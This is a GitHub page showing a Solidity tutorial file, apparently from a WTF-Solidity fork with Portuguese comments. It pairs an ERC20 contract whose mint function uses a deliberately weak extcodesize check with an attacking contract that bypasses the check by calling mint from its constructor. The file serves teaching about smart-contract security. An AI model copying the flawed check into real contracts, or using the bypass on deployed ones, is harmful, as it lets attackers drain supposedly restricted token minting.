forked from AmazingAng/WTF-Solidity
-
Notifications
You must be signed in to change notification settings - Fork 0
/
ContractCheck.sol
47 lines (41 loc) · 1.6 KB
/
ContractCheck.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
// Verificando se é um endereço de contrato usando extcodesize
contract ContractCheck is ERC20 {
// Construtor: inicializa o nome e o código do token
constructor() ERC20("", "") {}
// Utilizando extcodesize para verificar se é um contrato
function isContract(address account) public view returns (bool) {
// extcodesize > 0 的地址一定是合约地址
// Mas o contrato tem extcodesize igual a 0 no construtor
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
// função mint, só pode ser chamada por endereços não contratuais (tem uma vulnerabilidade)
function mint() public {
require(!isContract(msg.sender), "Contract not allowed!");
_mint(msg.sender, 100);
}
}
// Usando as características do construtor para atacar
contract NotContract {
bool public isContract;
address public contractCheck;
// Quando o contrato está sendo criado, o extcodesize (tamanho do código) é 0, portanto não será detectado pelo isContract().
constructor(address addr) {
contractCheck = addr;
isContract = ContractCheck(addr).isContract(address(this));
// Isso vai funcionar
for(uint i; i < 10; i++){
ContractCheck(addr).mint();
}
}
// Após a criação do contrato, se extcodesize > 0, isContract() pode ser usado para verificar
function mint() external {
ContractCheck(contractCheck).mint();
}
}